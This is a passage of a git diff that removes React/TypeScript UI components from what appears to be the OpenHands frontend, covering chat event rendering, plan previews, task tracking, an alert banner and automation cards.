* Scenario handling: - * - Scenario 1 (Create plan): Multiple observations in one phase → 1 preview - * - Scenario 2 (Create then update): Two user messages → two phases → 2 previews - * - Scenario 3 (Create + update while processing): Two user messages → 2 previews - * - * @param allEvents - Full list of v1 events (for phase detection) - * @returns Set of event IDs that should render PlanPreview - */ -export function usePlanPreviewEvents(allEvents: OpenHandsEvent[]): Set { - return useMemo(() => { - const planPreviewEventIds = new Set(); - - // Group events by phases (user message boundaries) - const phases = groupEventsByPhase(allEvents); - - // For each phase, find the last PlanningFileEditorObservation - phases.forEach((phase) => { - const lastPlanningObservationId = - findLastPlanningObservationInPhase(phase); - if (lastPlanningObservationId) { - planPreviewEventIds.add(lastPlanningObservationId); - } - }); - - return planPreviewEventIds; - }, [allEvents]); -} - -/** - * Check if a specific event should render PlanPreview. - * - * @param eventId - The event ID to check - * @param planPreviewEventIds - Set of event IDs that should render PlanPreview - * @returns true if this event should render PlanPreview - */ -export function shouldShowPlanPreview( - eventId: string, - planPreviewEventIds: Set, -): boolean { - return planPreviewEventIds.has(eventId); -} diff --git a/src/components/conversation-events/chat/index.ts b/src/components/conversation-events/chat/index.ts deleted file mode 100644 index bce6a7579..000000000 --- a/src/components/conversation-events/chat/index.ts +++ /dev/null @@ -1,8 +0,0 @@ -export { Messages } from "./messages"; -export { EventMessage } from "./event-message"; -export * from "./event-message-components"; -export { getEventContent } from "./event-content-helpers/get-event-content"; -export { - shouldRenderEvent, - hasUserEvent, -} from "./event-content-helpers/should-render-event"; diff --git a/src/components/conversation-events/chat/messages.tsx b/src/components/conversation-events/chat/messages.tsx deleted file mode 100644 index c2eb7db77..000000000 --- a/src/components/conversation-events/chat/messages.tsx +++ /dev/null @@ -1,143 +0,0 @@ -import React from "react"; -import { OpenHandsEvent } from "#/types/agent-server/core"; -import { EventMessage } from "./event-message"; -import { usePlanPreviewEvents } from "./hooks/use-plan-preview-events"; -import { groupEvents } from "./group-events"; -import { EventGroup } from "./event-message-components/event-group"; -import { ThoughtEventMessage } from "./event-message-components/thought-event-message"; -import { useModelStore } from "#/stores/model-store"; -import { ModelMessages } from "#/components/features/chat/model-messages"; -import { useOptionalConversationId } from "#/hooks/use-conversation-id"; -// TODO: Implement microagent functionality for V1 when APIs support V1 event IDs -// import { AgentState } from "#/types/agent-state"; -// import MemoryIcon from "#/icons/memory_icon.svg?react"; - -interface MessagesProps { - messages: OpenHandsEvent[]; // UI events (actions replaced by observations) - allEvents: OpenHandsEvent[]; // Full event history (for action lookup) -} - -const getLastEventId = (events: OpenHandsEvent[]) => events.at(-1)?.id; -const getLastEvent = (events: OpenHandsEvent[]) => events.at(-1); - -export const Messages: React.FC = React.memo( - ({ messages, allEvents }) => { - const { conversationId } = useOptionalConversationId(); - // Get the set of event IDs that should render PlanPreview - // This ensures only one preview per user message "phase" - const planPreviewEventIds = usePlanPreviewEvents(allEvents); - - // Set of event ids that have a /model entry anchored to them — used to - // avoid mounting for every event (the component would - // otherwise early-return null). - const modelEntries = useModelStore((s) => - conversationId ? s.entriesByConversation[conversationId] : undefined, - ); - const modelAnchorIds = React.useMemo(() => { - if (!modelEntries || modelEntries.length === 0) return null; - const ids = new Set(); - for (const entry of modelEntries) { - if (entry.anchorEventId !== null) ids.add(entry.anchorEventId); - } - return ids.size > 0 ? ids : null; - }, [modelEntries]); - - const maybeRenderModelMessages = (eventId: string | number | undefined) => { - if (!modelAnchorIds || eventId === undefined) return null; - const key = String(eventId); - if (!modelAnchorIds.has(key)) return null; - return ( - - ); - }; - - // Fold consecutive action/observation events into collapsible groups so a - // long sequence of tool calls doesn't dominate the chat scroll. Items that - // can't be grouped (or that fall in a short run) are still rendered one by - // one, identically to before. Agent thoughts attached to an action are - // hoisted out as their own rendered item so they always show up in the - // message pane and a thought between actions starts a fresh group. - const renderedItems = React.useMemo( - () => groupEvents(messages, undefined, allEvents), - [messages, allEvents], - ); - - const renderEventMessage = ( - event: OpenHandsEvent, - index: number, - suppressThought: boolean, - ) => ( - - ); - - return ( - <> - {renderedItems.map((item, itemIndex) => { - if (item.kind === "single") { - return ( - - {/* Thoughts for singles are also hoisted as their own - "thought" item, so suppress the inline render to avoid - duplication. */} - {renderEventMessage(item.event, item.index, true)} - {maybeRenderModelMessages(item.event.id)} - - ); - } - - if (item.kind === "thought") { - return ( - - - {maybeRenderModelMessages(item.action.id)} - - ); - } - - // A group is "finalized" once another rendered item appears after - // it, signalling the agent has moved on. While the group is still - // the live tail, it keeps showing the latest action title as its - // prominent summary. - const isFinalized = itemIndex < renderedItems.length - 1; - const groupKey = item.events[0]?.id ?? `group-${item.startIndex}`; - return ( - - - {item.events.map((event, offset) => - renderEventMessage(event, item.startIndex + offset, true), - )} - - {item.events.map((event) => ( - - {maybeRenderModelMessages(event.id)} - - ))} - - ); - })} - - ); - }, - (prevProps, nextProps) => - prevProps.messages.length === nextProps.messages.length && - prevProps.allEvents.length === nextProps.allEvents.length && - getLastEventId(prevProps.messages) === getLastEventId(nextProps.messages) && - getLastEventId(prevProps.allEvents) === - getLastEventId(nextProps.allEvents) && - getLastEvent(prevProps.messages) === getLastEvent(nextProps.messages) && - getLastEvent(prevProps.allEvents) === getLastEvent(nextProps.allEvents), -); - -Messages.displayName = "Messages"; diff --git a/src/components/conversation-events/chat/task-tracking/task-item.tsx b/src/components/conversation-events/chat/task-tracking/task-item.tsx deleted file mode 100644 index cf7765435..000000000 --- a/src/components/conversation-events/chat/task-tracking/task-item.tsx +++ /dev/null @@ -1,56 +0,0 @@ -import { useMemo } from "react"; -import { useTranslation } from "react-i18next"; -import { TaskItem as TaskItemType } from "#/types/agent-server/core/base/common"; -import CircleIcon from "#/icons/u-circle.svg?react"; -import CheckCircleIcon from "#/icons/u-check-circle.svg?react"; -import CheckCircleHalfIcon from "#/icons/u-check-circle-half.svg?react"; -import { cn } from "#/utils/utils"; -import { Typography } from "#/ui/typography"; -import { I18nKey } from "#/i18n/declaration"; - -interface TaskItemProps { - task: TaskItemType; -} - -export function TaskItem({ task }: TaskItemProps) { - const { t } = useTranslation("openhands"); - - const icon = useMemo(() => { - switch (task.status) { - case "todo": - return ; - case "in_progress": - return ; - case "done": - return ; - default: - return ; - } - }, [task.status]); - - const isDoneStatus = task.status === "done"; - - return ( -
    -
    {icon}
    -
    - - {task.title} - - {task.notes && ( - - {t(I18nKey.TASK_TRACKING_OBSERVATION$TASK_NOTES)}: {task.notes} - - )} -
    -
    - ); -} diff --git a/src/components/conversation-events/chat/task-tracking/task-list-section.tsx b/src/components/conversation-events/chat/task-tracking/task-list-section.tsx deleted file mode 100644 index 8b0552e84..000000000 --- a/src/components/conversation-events/chat/task-tracking/task-list-section.tsx +++ /dev/null @@ -1,33 +0,0 @@ -import { useTranslation } from "react-i18next"; -import { TaskItem } from "./task-item"; -import LessonPlanIcon from "#/icons/lesson-plan.svg?react"; -import { TaskItem as TaskItemType } from "#/types/agent-server/core/base/common"; -import { I18nKey } from "#/i18n/declaration"; -import { Typography } from "#/ui/typography"; - -interface TaskListSectionProps { - taskList: TaskItemType[]; -} - -export function TaskListSection({ taskList }: TaskListSectionProps) { - const { t } = useTranslation("openhands"); - - return ( -
    - {/* Header Tabs */} -
    - - - {t(I18nKey.COMMON$TASKS)} - -
    - - {/* Task Items */} -
    - {taskList.map((task, index) => ( - - ))} -
    -
    - ); -} diff --git a/src/components/conversation-events/chat/task-tracking/task-tracking-observation-content.tsx b/src/components/conversation-events/chat/task-tracking/task-tracking-observation-content.tsx deleted file mode 100644 index a1f7f85ae..000000000 --- a/src/components/conversation-events/chat/task-tracking/task-tracking-observation-content.tsx +++ /dev/null @@ -1,23 +0,0 @@ -import React from "react"; -import { ObservationEvent } from "#/types/agent-server/core"; -import { TaskTrackerObservation } from "#/types/agent-server/core/base/observation"; -import { TaskListSection } from "./task-list-section"; - -interface TaskTrackingObservationContentProps { - event: ObservationEvent; -} - -export function TaskTrackingObservationContent({ - event, -}: TaskTrackingObservationContentProps): React.ReactNode { - const { observation } = event; - const { command, task_list: taskList } = observation; - const shouldShowTaskList = command === "plan" && taskList.length > 0; - - return ( -
    - {/* Task List section - only show for 'plan' command */} - {shouldShowTaskList && } -
    - ); -} diff --git a/src/components/conversation-events/index.ts b/src/components/conversation-events/index.ts deleted file mode 100644 index d27da0d97..000000000 --- a/src/components/conversation-events/index.ts +++ /dev/null @@ -1 +0,0 @@ -export * from "./chat"; diff --git a/src/components/conversation/index.ts b/src/components/conversation/index.ts deleted file mode 100644 index 95a35e29e..000000000 --- a/src/components/conversation/index.ts +++ /dev/null @@ -1,9 +0,0 @@ -export { ConversationView } from "../../routes/conversation"; -export { ChatInterface as ChatPanel } from "../features/chat/chat-interface"; -export { ConversationLoading } from "../features/conversation/conversation-loading"; -export { ConversationMain } from "../features/conversation/conversation-main/conversation-main"; -export { ChatInterfaceWrapper } from "../features/conversation/conversation-main/chat-interface-wrapper"; -export { ConversationName } from "../features/conversation/conversation-name"; -export { ConversationNameWithStatus } from "../features/conversation/conversation-name-with-status"; -export { ConversationTabs } from "../features/conversation/conversation-tabs/conversation-tabs"; -export { MetricsModal } from "../features/conversation/metrics-modal/metrics-modal"; diff --git a/src/components/features/alerts/alert-banner.tsx b/src/components/features/alerts/alert-banner.tsx deleted file mode 100644 index 141a11063..000000000 --- a/src/components/features/alerts/alert-banner.tsx +++ /dev/null @@ -1,143 +0,0 @@ -import { useTranslation } from "react-i18next"; -import { useMemo } from "react"; -import { useLocalStorage } from "@uidotdev/usehooks"; -import { FaTriangleExclamation } from "react-icons/fa6"; -import CloseIcon from "#/icons/close.svg?react"; -import { useNavigation } from "#/context/navigation-context"; -import { cn } from "#/utils/utils"; -import { I18nKey } from "#/i18n/declaration"; -import { Typography } from "#/ui/typography"; - -interface AlertBannerProps { - maintenanceStartTime?: string | null; - faultyModels?: string[]; - errorMessage?: string | null; - updatedAt: string; -} - -export function AlertBanner({ - maintenanceStartTime, - faultyModels, - errorMessage, - updatedAt, -}: AlertBannerProps) { - const { t } = useTranslation("openhands"); - const [dismissedAt, setDismissedAt] = useLocalStorage( - "alert_banner_dismissed_at", - null, - ); - - const { currentPath } = useNavigation(); - - // Format ISO timestamp to user's local timezone - const formatMaintenanceTime = (isoTimeString: string): string => { - const date = new Date(isoTimeString); - return date.toLocaleString(undefined, { - year: "numeric", - month: "short", - day: "numeric", - hour: "2-digit", - minute: "2-digit", - timeZoneName: "short", - }); - }; - - const localTime = maintenanceStartTime - ? formatMaintenanceTime(maintenanceStartTime) - : null; - - const hasMaintenanceAlert = !!maintenanceStartTime; - const hasFaultyModels = faultyModels && faultyModels.length > 0; - const hasErrorMessage = errorMessage && errorMessage.trim().length > 0; - - const hasAnyAlert = hasMaintenanceAlert || hasFaultyModels || hasErrorMessage; - - const isBannerVisible = useMemo(() => { - if (!hasAnyAlert) { - return false; - } - return dismissedAt !== updatedAt; - }, [dismissedAt, updatedAt, hasAnyAlert]); - - // Try to translate error message, fallback to raw message - const translatedErrorMessage = useMemo(() => { - if (!errorMessage) return null; - - // Check if the error message is a translation key (e.g., "ERROR$SOME_KEY") - const translated = t(errorMessage as I18nKey); - // If translation returns the same key, it means no translation exists - if (translated === errorMessage) { - return errorMessage; - } - return translated; - }, [errorMessage, t]); - - if (!isBannerVisible) { - return null; - } - - const renderMessages = () => { - const messages: React.ReactNode[] = []; - - if (hasMaintenanceAlert && localTime) { - messages.push( - - {t(I18nKey.MAINTENANCE$SCHEDULED_MESSAGE, { time: localTime })} - , - ); - } - - if (hasFaultyModels) { - messages.push( - - {t(I18nKey.ALERT$FAULTY_MODELS_MESSAGE)} {faultyModels!.join(", ")} - , - ); - } - - if (hasErrorMessage && translatedErrorMessage) { - messages.push( - - {translatedErrorMessage} - , - ); - } - - return messages; - }; - - return ( -
    -
    -
    - -
    -
    {renderMessages()}
    -
    - - -
    - ); -} diff --git a/src/components/features/automations/add-automation-modal.tsx b/src/components/features/automations/add-automation-modal.tsx deleted file mode 100644 index 74c25d8e2..000000000 --- a/src/components/features/automations/add-automation-modal.tsx +++ /dev/null @@ -1,49 +0,0 @@ -import { useTranslation } from "react-i18next"; -import { ModalBackdrop } from "#/components/shared/modals/modal-backdrop"; -import { ModalCloseButton } from "#/components/shared/modals/modal-close-button"; -import { I18nKey } from "#/i18n/declaration"; -import { cn } from "#/utils/utils"; -import { modalTitleLgClassName } from "#/utils/modal-classes"; -import { CreateInstructionsContent } from "./create-instructions"; - -interface AddAutomationModalProps { - isOpen: boolean; - onClose: () => void; -} - -export function AddAutomationModal({ - isOpen, - onClose, -}: AddAutomationModalProps) { - const { t } = useTranslation("openhands"); - - if (!isOpen) return null; - - return ( - -
    - -
    -

    - {t(I18nKey.AUTOMATIONS$EMPTY_HOW_TO_CREATE_TITLE)} -

    -
    -
    - -
    -
    -
    - ); -} diff --git a/src/components/features/automations/automation-action-button-classes.ts b/src/components/features/automations/automation-action-button-classes.ts deleted file mode 100644 index 532a8aef7..000000000 --- a/src/components/features/automations/automation-action-button-classes.ts +++ /dev/null @@ -1,13 +0,0 @@ -import { cn } from "#/utils/utils"; -import { dropdownInstantColorClassName } from "#/utils/dropdown-classes"; - -export const automationIconActionButtonClassName = cn( - "inline-flex size-8 shrink-0 cursor-pointer items-center justify-center rounded-md border-0 bg-transparent text-muted hover:bg-interactive-hover hover:text-white focus-visible:outline-none disabled:cursor-not-allowed disabled:opacity-50 disabled:hover:bg-transparent disabled:hover:text-muted", - dropdownInstantColorClassName, -); - -/** Text + icon Run now control on automation grid cards (matches kebab height). */ -export const automationRunNowTextButtonClassName = cn( - "inline-flex h-8 shrink-0 cursor-pointer items-center gap-1.5 rounded-md border-0 bg-transparent px-2 text-xs text-muted hover:bg-interactive-hover hover:text-white focus-visible:outline-none disabled:cursor-not-allowed disabled:opacity-50 disabled:hover:bg-transparent disabled:hover:text-muted", - dropdownInstantColorClassName, -); diff --git a/src/components/features/automations/automation-card-skeleton.tsx b/src/components/features/automations/automation-card-skeleton.tsx deleted file mode 100644 index a583cf28e..000000000 --- a/src/components/features/automations/automation-card-skeleton.tsx +++ /dev/null @@ -1,21 +0,0 @@ -import { extensionModuleCardSurfaceClassName } from "#/utils/extension-module-card-classes"; - -export function AutomationCardSkeleton() { - return ( -
    -
    -
    -
    -
    -
    -
    -
    -
    -
    -
    -
    - ); -} diff --git a/src/components/features/automations/automation-card.tsx b/src/components/features/automations/automation-card.tsx deleted file mode 100644 index c13a07d4a..000000000 --- a/src/components/features/automations/automation-card.tsx +++ /dev/null @@ -1,133 +0,0 @@ -import { useMemo } from "react"; -import { useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import type { Automation } from "#/types/automation"; -import { KebabMenu } from "./kebab-menu"; -import { useHasPermission } from "#/hooks/use-has-permission"; -import { useNavigation } from "#/context/navigation-context"; -import PlayIcon from "#/icons/play.svg?react"; -import ClockIcon from "#/icons/clock.svg?react"; -import GlobeIcon from "#/icons/globe.svg?react"; -import { SkillCardPillRow } from "#/components/features/skills/skill-card-pill-row"; -import { cn } from "#/utils/utils"; -import { - extensionModuleCardInteractiveClassName, - extensionModuleCardSurfaceClassName, -} from "#/utils/extension-module-card-classes"; -import { buildAutomationMetadataPills } from "./build-automation-pills"; -import { buildAutomationMenuItems } from "./build-automation-menu-items"; -import { automationRunNowTextButtonClassName } from "./automation-action-button-classes"; - -interface AutomationCardProps { - automation: Automation; - onToggle: (id: string, enabled: boolean) => void; - onRunNow: (id: string) => void; - isRunPending?: boolean; - onDelete: (id: string) => void; - onExport: (automation: Automation) => void; - onEdit?: (id: string) => void; -} - -export function AutomationCard({ - automation, - onToggle, - onRunNow, - isRunPending = false, - onDelete, - onExport, - onEdit, -}: AutomationCardProps) { - const { navigate } = useNavigation(); - const { t } = useTranslation("openhands"); - const canManage = useHasPermission("manage_automations"); - - const scheduleLabel = - automation.trigger.schedule_human || automation.trigger.type; - const pills = useMemo( - () => buildAutomationMetadataPills(automation, scheduleLabel), - [automation, scheduleLabel], - ); - - const handleView = () => { - navigate?.(`/automations/${automation.id}`); - }; - - const menuItems = buildAutomationMenuItems({ - automation, - t, - canManage, - onRunNow, - isRunPending, - onView: handleView, - onExport, - onEdit, - onToggle, - onDelete, - }); - - const handleCardClick = () => { - handleView(); - }; - - return ( -
    { - if (e.key === "Enter") handleCardClick(); - }} - className={cn( - "flex min-w-0 flex-col gap-3 overflow-hidden p-4 text-left", - extensionModuleCardSurfaceClassName, - extensionModuleCardInteractiveClassName, - )} - > -
    -
    -

    - {automation.trigger.type === "event" ? ( - - ) : ( - - )} - {automation.name} -

    - {automation.prompt ? ( -

    - {automation.prompt} -

    - ) : null} -
    - -
    - {canManage ? ( - - ) : null} - -
    -
    - - {pills.length > 0 ? ( - - ) : null} -
    - ); -} diff --git a/src/components/features/automations/automation-group.tsx b/src/components/features/automations/automation-group.tsx deleted file mode 100644 index b7b09ccfe..000000000 --- a/src/components/features/automations/automation-group.tsx +++ /dev/null @@ -1,87 +0,0 @@ -import type { Automation } from "#/types/automation"; -import { cn } from "#/utils/utils"; -import { AutomationCard } from "./automation-card"; -import { AutomationListRow } from "./automation-list-row"; -import { StatusBadge } from "./status-badge"; -import { - automationListTableClassName, - type AutomationViewMode, -} from "./automation-view-mode"; -import { - extensionModuleCardGridClassName, - extensionModuleCardGridContainerClassName, -} from "#/utils/extension-module-card-classes"; - -interface AutomationGroupProps { - title: string; - count: number; - automations: Automation[]; - view: AutomationViewMode; - onToggle: (id: string, enabled: boolean) => void; - onRunNow: (id: string) => void; - runPendingId?: string | null; - onDelete: (id: string) => void; - onExport: (automation: Automation) => void; - onEdit?: (id: string) => void; -} - -export function AutomationGroup({ - title, - count, - automations, - view, - onToggle, - onRunNow, - runPendingId = null, - onDelete, - onExport, - onEdit, -}: AutomationGroupProps) { - if (automations.length === 0) return null; - - return ( -
    -
    -

    {title}

    - -
    - {view === "grid" ? ( -
    -
    - {automations.map((automation) => ( - - ))} -
    -
    - ) : ( -
    -

  • - - {automations.map((automation) => ( - - ))} - -
    - - )} - - ); -} diff --git a/src/components/features/automations/automation-list-row.tsx b/src/components/features/automations/automation-list-row.tsx deleted file mode 100644 index c8e911569..000000000 --- a/src/components/features/automations/automation-list-row.tsx +++ /dev/null @@ -1,137 +0,0 @@ -import { useMemo } from "react"; -import { useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import type { Automation } from "#/types/automation"; -import { KebabMenu } from "./kebab-menu"; -import { useHasPermission } from "#/hooks/use-has-permission"; -import { useNavigation } from "#/context/navigation-context"; -import PlayIcon from "#/icons/play.svg?react"; -import ClockIcon from "#/icons/clock.svg?react"; -import GlobeIcon from "#/icons/globe.svg?react"; -import { StyledTooltip } from "#/components/shared/buttons/styled-tooltip"; -import { SkillCardPillRow } from "#/components/features/skills/skill-card-pill-row"; -import { cn } from "#/utils/utils"; -import { automationIconActionButtonClassName } from "./automation-action-button-classes"; -import { buildAutomationMetadataPills } from "./build-automation-pills"; -import { buildAutomationMenuItems } from "./build-automation-menu-items"; -import { - automationListRowClassName, - automationListCellClassName, -} from "./automation-view-mode"; - -interface AutomationListRowProps { - automation: Automation; - onToggle: (id: string, enabled: boolean) => void; - onRunNow: (id: string) => void; - isRunPending?: boolean; - onDelete: (id: string) => void; - onExport: (automation: Automation) => void; - onEdit?: (id: string) => void; -} - -export function AutomationListRow({ - automation, - onToggle, - onRunNow, - isRunPending = false, - onDelete, - onExport, - onEdit, -}: AutomationListRowProps) { - const { navigate } = useNavigation(); - const { t } = useTranslation("openhands"); - const canManage = useHasPermission("manage_automations"); - - const scheduleLabel = - automation.trigger.schedule_human || automation.trigger.type; - const pills = useMemo( - () => buildAutomationMetadataPills(automation, scheduleLabel), - [automation, scheduleLabel], - ); - - const handleView = () => { - navigate?.(`/automations/${automation.id}`); - }; - - const menuItems = buildAutomationMenuItems({ - automation, - t, - canManage, - onRunNow, - isRunPending, - onView: handleView, - onExport, - onEdit, - onToggle, - onDelete, - }); - - const handleRowClick = () => { - handleView(); - }; - - return ( -
    -
    - {automation.trigger.type === "event" ? ( - - ) : ( - - )} - - {automation.name} - - {pills.length > 0 ? ( -
    - -
    - ) : null} -
    -
    -
    - {canManage ? ( - - - - ) : null} - -
    -